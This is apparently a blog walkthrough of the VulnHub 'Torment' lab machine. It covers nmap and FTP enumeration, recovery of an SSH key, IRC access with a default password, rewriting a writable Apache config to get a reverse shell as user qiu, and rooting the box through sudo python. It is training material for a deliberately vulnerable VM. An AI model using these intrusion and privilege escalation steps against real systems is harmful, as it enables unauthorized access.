VulnHub : Digital World : Torment
6 July, 2021
Machine Link: https://www.vulnhub.com/entry/digitalworldlocal-torment,299/
Starting with an nmap scan
# nmap -A -sC -sV -O -p 1-65535 192.168.56.106
Starting Nmap 7.91 ( https://nmap.org )
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.106
Host is up (0.0011s latency).
Not shown: 65516 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 ftp ftp 112640 Dec 28 2018 alternatives.tar.0
| -rw-r--r-- 1 ftp ftp 4984 Dec 23 2018 alternatives.tar.1.gz
| -rw-r--r-- 1 ftp ftp 95760 Dec 28 2018 apt.extended_states.0
| -rw-r--r-- 1 ftp ftp 10513 Dec 27 2018 apt.extended_states.1.gz
| -rw-r--r-- 1 ftp ftp 10437 Dec 26 2018 apt.extended_states.2.gz
| -rw-r--r-- 1 ftp ftp 559 Dec 23 2018 dpkg.diversions.0
| -rw-r--r-- 1 ftp ftp 229 Dec 23 2018 dpkg.diversions.1.gz
| -rw-r--r-- 1 ftp ftp 229 Dec 23 2018 dpkg.diversions.2.gz
| -rw-r--r-- 1 ftp ftp 229 Dec 23 2018 dpkg.diversions.3.gz
| -rw-r--r-- 1 ftp ftp 229 Dec 23 2018 dpkg.diversions.4.gz
| -rw-r--r-- 1 ftp ftp 229 Dec 23 2018 dpkg.diversions.5.gz
| -rw-r--r-- 1 ftp ftp 229 Dec 23 2018 dpkg.diversions.6.gz
| -rw-r--r-- 1 ftp ftp 505 Dec 28 2018 dpkg.statoverride.0
| -rw-r--r-- 1 ftp ftp 295 Dec 28 2018 dpkg.statoverride.1.gz
| -rw-r--r-- 1 ftp ftp 295 Dec 28 2018 dpkg.statoverride.2.gz
| -rw-r--r-- 1 ftp ftp 295 Dec 28 2018 dpkg.statoverride.3.gz
| -rw-r--r-- 1 ftp ftp 295 Dec 28 2018 dpkg.statoverride.4.gz
| -rw-r--r-- 1 ftp ftp 281 Dec 27 2018 dpkg.statoverride.5.gz
| -rw-r--r-- 1 ftp ftp 208 Dec 23 2018 dpkg.statoverride.6.gz
| -rw-r--r-- 1 ftp ftp 1719127 Jan 01 2019 dpkg.status.0
|_Only 20 shown. Use --script-args ftp-anon.maxlist=-1 to see all.
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.56.101
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u4 (protocol 2.0)
| ssh-hostkey:
| 2048 84:c7:31:7a:21:7d:10:d3:a9:9c:73:c2:c2:2d:d6:77 (RSA)
| 256 a5:12:e7:7f:f0:17:ce:f1:6a:a5:bc:1f:69:ac:14:04 (ECDSA)
|_ 256 66:c7:d0:be:8d:9d:9f:bf:78:67:d2:bc:cc:7d:33:b9 (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: TORMENT.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8,
| ssl-cert: Subject: commonName=TORMENT
| Subject Alternative Name: DNS:TORMENT
| Not valid before: 2018-12-23T14:28:47
|_Not valid after: 2028-12-20T14:28:47
|_ssl-date: TLS randomness does not represent time
80/tcp open http Apache httpd 2.4.25
|_http-server-header: Apache/2.4.25
|_http-title: Apache2 Debian Default Page: It works
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100003 3,4 2049/udp nfs
| 100003 3,4 2049/udp6 nfs
| 100005 1,2,3 35351/tcp6 mountd
| 100005 1,2,3 38464/udp6 mountd
| 100005 1,2,3 56811/tcp mountd
| 100005 1,2,3 57062/udp mountd
| 100021 1,3,4 33637/tcp6 nlockmgr
| 100021 1,3,4 34163/udp6 nlockmgr
| 100021 1,3,4 36227/tcp nlockmgr
| 100021 1,3,4 41073/udp nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open imap Dovecot imapd
|_imap-capabilities: CAPABILITY
445/tcp open netbios-ssn Samba smbd 4.5.12-Debian (workgroup: WORKGROUP)
631/tcp open ipp CUPS 2.2
| http-methods:
|_ Potentially risky methods: PUT
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: CUPS/2.2 IPP/2.1
|_http-title: Home - CUPS 2.2.1
2049/tcp open nfs_acl 3 (RPC #100227)
6667/tcp open irc ngircd
6668/tcp open irc ngircd
6669/tcp open irc ngircd
6672/tcp open irc ngircd
6674/tcp open irc ngircd
33761/tcp open mountd 1-3 (RPC #100005)
36227/tcp open nlockmgr 1-4 (RPC #100021)
56811/tcp open mountd 1-3 (RPC #100005)
57895/tcp open mountd 1-3 (RPC #100005)
MAC Address: 08:00:27:09:2D:CC (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Hosts: TORMENT.localdomain, TORMENT, irc.example.net; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -2h40m00s, deviation: 4h37m07s, median: -1s
|_nbstat: NetBIOS name: TORMENT, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.5.12-Debian)
| Computer name: torment
| NetBIOS computer name: TORMENT\x00
| Domain name: \x00
| FQDN: torment
|_ System time: 2021-07-05T22:21:44+08:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-07-05T14:21:45
|_ start_date: N/A
TRACEROUTE
HOP RTT ADDRESS
1 1.08 ms 192.168.56.106
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 87.34 seconds
I began with FTP, it had anonymous login enabled. I couldn't download the shadow.bak and the few others because of the permissions
# ftp 192.168.56.106
Connected to 192.168.56.106.
220 vsftpd (broken)
Name (192.168.56.106:kali): ftp
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -ltrha
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 ftp ftp 208 Dec 23 2018 dpkg.statoverride.6.gz
-rw-r--r-- 1 ftp ftp 229 Dec 23 2018 dpkg.diversions.6.gz
-rw-r--r-- 1 ftp ftp 229 Dec 23 2018 dpkg.diversions.1.gz
-rw-r--r-- 1 ftp ftp 229 Dec 23 2018 dpkg.diversions.5.gz
-rw-r--r-- 1 ftp ftp 229 Dec 23 2018 dpkg.diversions.2.gz
-rw-r--r-- 1 ftp ftp 559 Dec 23 2018 dpkg.diversions.0
-rw-r--r-- 1 ftp ftp 229 Dec 23 2018 dpkg.diversions.4.gz
-rw-r--r-- 1 ftp ftp 229 Dec 23 2018 dpkg.diversions.3.gz
-rw-r--r-- 1 ftp ftp 4984 Dec 23 2018 alternatives.tar.1.gz
-rw-r--r-- 1 ftp ftp 10437 Dec 26 2018 apt.extended_states.2.gz
-rw-r--r-- 1 ftp ftp 470278 Dec 27 2018 dpkg.status.6.gz
-rw-r--r-- 1 ftp ftp 281 Dec 27 2018 dpkg.statoverride.5.gz
-rw-r--r-- 1 ftp ftp 10513 Dec 27 2018 apt.extended_states.1.gz
-rw-r--r-- 1 ftp ftp 95760 Dec 28 2018 apt.extended_states.0
-rw-r--r-- 1 ftp ftp 489389 Dec 28 2018 dpkg.status.5.gz
-rw-r--r-- 1 ftp ftp 112640 Dec 28 2018 alternatives.tar.0
-rw-r--r-- 1 ftp ftp 295 Dec 28 2018 dpkg.statoverride.1.gz
-rw-r--r-- 1 ftp ftp 295 Dec 28 2018 dpkg.statoverride.4.gz
-rw-r--r-- 1 ftp ftp 295 Dec 28 2018 dpkg.statoverride.3.gz
-rw-r--r-- 1 ftp ftp 505 Dec 28 2018 dpkg.statoverride.0
-rw-r--r-- 1 ftp ftp 295 Dec 28 2018 dpkg.statoverride.2.gz
-rw-r--r-- 1 ftp ftp 492279 Dec 28 2018 dpkg.status.4.gz
-rw-r--r-- 1 ftp ftp 492279 Dec 28 2018 dpkg.status.3.gz
-rw------- 1 ftp ftp 840 Dec 31 2018 gshadow.bak
-rw------- 1 ftp ftp 2485 Dec 31 2018 passwd.bak
-rw------- 1 ftp ftp 1010 Dec 31 2018 group.bak
drwxr-xr-x 2 ftp ftp 4096 Dec 31 2018 .samba
drwxr-xr-x 2 ftp ftp 4096 Dec 31 2018 .nfs
drwxr-xr-x 2 ftp ftp 4096 Dec 31 2018 .imap
drwxr-xr-x 2 ftp ftp 4096 Dec 31 2018 .smtp
drwxr-xr-x 2 ftp ftp 4096 Dec 31 2018 .ftp
drwxr-xr-x 2 ftp ftp 4096 Dec 31 2018 .mysql
drwxr-xr-x 2 ftp ftp 4096 Dec 31 2018 .cups
-rw------- 1 ftp ftp 1575 Dec 31 2018 shadow.bak
-rw-r--r-- 1 ftp ftp 493252 Jan 01 2019 dpkg.status.2.gz
-rw-r--r-- 1 ftp ftp 1719127 Jan 01 2019 dpkg.status.0
-rw-r--r-- 1 ftp ftp 493252 Jan 01 2019 dpkg.status.1.gz
drwxr-xr-x 2 ftp ftp 4096 Jan 04 2019 .ssh
drwxr-xr-x 2 ftp ftp 4096 Jan 04 2019 .ngircd
drwxr-xr-x 11 ftp ftp 4096 Jul 05 22:14 .
drwxr-xr-x 11 ftp ftp 4096 Jul 05 22:14 ..
ftp> ls .ssh
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 ftp ftp 1766 Jan 04 2019 id_rsa
226 Directory send OK.
ftp> ls .ngircd
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 ftp ftp 33 Jan 04 2019 channels
226 Directory send OK.
# cat channels
channels:
games
tormentedprinter
# cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,C37F0C31D1560056EA1F9204EC405986
U9X/cW7GIiI48TQAzUs5ozEQgexHKiFi2NcoADhs/ax/CTJvZh32k+izzW0mMzl1
mo5HID0qNghIbVbRcN6Zv8cdJ/AhREjy25YZ68zA7GWoyfoch1K/XY0NEnNTchLf
b6k5GEgu5jfQT+pAj1A6jQyzz4A4CGbvD+iEEJRX3qsTlAn6th6dniRORJggnVLB
K4ONTeP4US7GSGTtOD+hwoyoR4zNQKT2Hn/WryoF7LdAXMwf1aNJJJ7YPz1YdSnU
fxXscbOMlXuZ4ouawIVGeYeH85lmOh7aBy5MWsYq/vNC+2pVzVEkRfc6jug1UbdG
hncWxfU92Q47lVuqtc4HPINynD2Q8rBlYrKsEbPqtLyCnBGM/T0Srzztj+IjXUD1
SdbVLmxascquwnIyv2w55vjwJv5dKjLBmrDiY0Doc9YYCGi6cz1p9tsE+G+uRg0r
hGuFXldsYEkoQcJ4iWjsYiqcwWWFfkN+A0rYXqqcDY+aqAy+jXkhyzfmUp3KBz9j
CjR1+7KcmKvNXtjn8V+iv2Nwf+qc2YzBNkBWlwHhxIz6L8F3k3OkqnZUqPKCW2Ga
CNMcIYx3+Gde3aXpHXg4OFALV7y23N8A2h97VOqnnrnED46C39shkA8iiMNdH9mz
87TWgw+wPLbWXJO7G5nJL0qciLV/Eo6atSof3FUx/4WX4fmYeg1Rdy0KgTC1NRGn
VT/YnlBrNW3f7fdhk/YhHbcT9vCg9/Nm3hmzQX/FBP085SgeEA+ebNMzQwPmqcfb
jGpMPdhD7iLmKPwQL3RFTVODjUyzsgJ6kz83aQd80qPClopqp4NFMLwATVpbN858
d4Q0QQGrCRqu2SYaYmVhGo37BJXKE11y0JzWXOhiVLD0I9fBoHDmsKHN4Aw3lbVE
/n+B0Qa1bIMGfXP7J4r7/+4trQCGi7ngVfhtygtg6j/HcoXDy9y15zrHZqKerWd6
6ApM1caan4T0FjqlqTOQsN5GmB9sBCu02VQ1QF3Z4FVA9oW+pkNFxAeKIddG1yLM
5L1ePDgEYjik6vM1lE/65c7fNaO8dndMau4reUnPbTFqKsTA46uUaMyOV6S7nsys
kHGcAXLEzvbC8ojK1Pg5Llok6f8YN+H7cP6vE1yCfx3oU3GdWV36AgBWLON8+Wwc
icoyqfW6E2I0xz5nlHoea/7szCNBI4wZmRI+GRcRgegQvG06QvdXNzjqdezbb4ba
EXRnMddmfjFSihlUhsKxLhCmbaJk5mG2oGLHQcOurvOUPh/qgRBfUf3PTntuUoa0
0+tGGaLYibDNb5eXQ39Bsjzm8BWG/dSK/Qq7UU4Bk2bTKikWQLazPAy482BsZpWI
mXt8ISmJqldgdrtnVvG3zoQBQpspZ6HTojheNazfD4zzvduQguOcKrCNICxoSRgA
egRER+uxaLqNGz+6H+9sl7FYWalMa+VzjrEDU7PeZNgOj9PxLdKbstQLQxC/Zq6+
7kYu2pHwqP2HcXmdJ9xYnptwkuqh5WGR82Zk+JkKwUBEQJmbVxjqWLjCV/CDA06z
6VvrfrPo3xt/CoZkH66qcm9LCTcM3DsLs3UT4B7aH5wk4l5MmpVI4/mx2Dlv0Mkv
-----END RSA PRIVATE KEY-----
# ssh -i id_rsa qiu@192.168.56.106
Enter passphrase for key 'id_rsa':
qiu@192.168.56.106: Permission denied (publickey).
There was an ngirc server running as per the nmap output, something to check out later.
I ran gobuster on port 80
$ ./gobuster dir -w wordlists/common.txt -u http://192.168.56.106
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.56.106
[+] Method: GET
[+] Threads: 10
[+] Wordlist: wordlists/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 284]
/.htaccess (Status: 403) [Size: 289]
/.htpasswd (Status: 403) [Size: 289]
/index.html (Status: 200) [Size: 10701]
/manual (Status: 301) [Size: 308] [--> http://192.168.56.106/manual/]
/server-status (Status: 403) [Size: 293]
/secret (Status: 200) [Size: 61]
===============================================================
Finished
===============================================================
$ curl 192.168.56.106/secret
Does pain come before sufferance? Or sufferance before pain?
On the port 631, I came across a series of names, possibly usernames?

I tried to connect to the IRC server to checkout the channels and it required a password. ngircd's default password wealllikedebian worked! On the channel #tormentedprinter, found a possible password.

# ssh -i id_rsa patrick@192.168.56.106
Enter passphrase for key 'id_rsa':
Linux TORMENT 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jan 4 19:34:43 2019 from 192.168.254.139
patrick@TORMENT:~$ id
uid=1001(patrick) gid=1001(patrick) groups=1001(patrick)
patrick@TORMENT:~$ whoami
patrick
patrick@TORMENT:~$ sudo -l
Matching Defaults entries for patrick on TORMENT:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User patrick may run the following commands on TORMENT:
(ALL) NOPASSWD: /bin/systemctl poweroff, /bin/systemctl halt, /bin/systemctl reboot
I ran Linpeas and found an interesting bit in the output, I was allowed to write to the Apache configuration
[+] Interesting writable files owned by me or writable by everyone (not in Home) (max 500)
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files
/dev/mqueue
/dev/shm
/etc/apache2/apache2.conf
Given this, my plan now was to change the Apache configuration so that apache runs as qiu, reboot with the sudo permissions that patrick already has, then add a reverse shell to the HTML directory and trigger it using a request.
User qiu
Group qiu
After restarting
patrick@TORMENT:~$ ps aux | grep apache
root 673 0.1 2.5 288220 26376 ? Ss 05:38 0:00 /usr/sbin/apache2 -k start
qiu 745 0.0 0.8 288164 8548 ? S 05:38 0:00 /usr/sbin/apache2 -k start
qiu 746 0.0 0.7 288244 7984 ? S 05:38 0:00 /usr/sbin/apache2 -k start
qiu 747 0.0 0.7 288244 7984 ? S 05:38 0:00 /usr/sbin/apache2 -k start
qiu 748 0.0 0.7 288244 7984 ? S 05:38 0:00 /usr/sbin/apache2 -k start
qiu 749 0.0 0.7 288244 7984 ? S 05:38 0:00 /usr/sbin/apache2 -k start
qiu 750 0.0 0.7 288244 7984 ? S 05:38 0:00 /usr/sbin/apache2 -k start
patrick 1125 0.0 0.0 12784 976 pts/0 S+ 05:38 0:00 grep apache
After uploading and triggering the reverse shell
# nc -lvnp 4242
listening on [any] 4242 ...
connect to [192.168.56.101] from (UNKNOWN) [192.168.56.106] 55998
Linux TORMENT 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 GNU/Linux
05:43:06 up 5 min, 1 user, load average: 0.02, 0.21, 0.13
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
patrick pts/0 192.168.56.101 05:38 42.00s 0.18s 0.18s -bash
uid=1000(qiu) gid=1000(qiu) groups=1000(qiu),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),113(bluetooth),114(lpadmin),118(scanner)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(qiu) gid=1000(qiu) groups=1000(qiu),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),113(bluetooth),114(lpadmin),118(scanner)
$ whoami
qiu
Checking the permissions qiu has
qiu@TORMENT:/home/qiu$ sudo -l
sudo -l
Matching Defaults entries for qiu on TORMENT:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User qiu may run the following commands on TORMENT:
(ALL) NOPASSWD: /usr/bin/python, /bin/systemctl
Escalating using python
qiu@TORMENT:/home/qiu$ sudo /usr/bin/python
sudo /usr/bin/python
Python 2.7.13 (default, Sep 26 2018, 18:42:22)
[GCC 6.3.0 20170516] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
import os
>>> os.system('id')
os.system('id')
uid=0(root) gid=0(root) groups=0(root)
0
>>> os.system('whoami')
os.system('whoami')
root
0
>>> import pty
import pty
>>> pty.spawn('/bin/bash')
pty.spawn('/bin/bash')
root@TORMENT:/home/qiu# id
id
uid=0(root) gid=0(root) groups=0(root)
root@TORMENT:/home/qiu# whoami
whoami
root
root@TORMENT:/home/qiu# cd /root
cd /root
root@TORMENT:~# ls
ls
author-secret.txt proof.txt
root@TORMENT:~# cat proof.txt
cat proof.txt
Congrutulations on rooting TORMENT. I hope this box has been as fun for you as it has been for me. :-)
Until then, try harder!
root@TORMENT:~# cat author-secret.txt
cat author-secret.txt
This is the fourth Linux box written successfully by this author.
Unlike the first three, this had no MERCY, took some DEVELOPMENT and required a sheer ton of BRAVERY.
Setting puzzles has been an author's joy, even though some of these puzzles may be rather mind-bending. The idea is that, even if we are repeatedly testing the basics, the basics can be morphed into so many different forms. The TORMENT box is a fine example.
The privilege escalation, in particular, was inspired from what people would usually learn in Windows privilege escalation --- weak service permissions. In this case, this was extended to Linux through something a little different. Before you think this is fictitious, think for a second --- how many developers have you heard became too lazy to test new configurations, and so decided to chmod 777 themselves? Also, if they can't log in as root directly, they cannot as easily modify /var/www/html, so they'd come up with silly ideas there as well.
Sigh, a New Year's eve disappeared from rushing out this box. But I think it is worth it.
Happy 2019, and many more good years beyond!
Soon I will be writing Windows boxes; these you may be able to find on Wizard-Labs, as a favour for a friend. Otherwise you can find me on my site. Root one of the earlier boxes I had to find out where this is.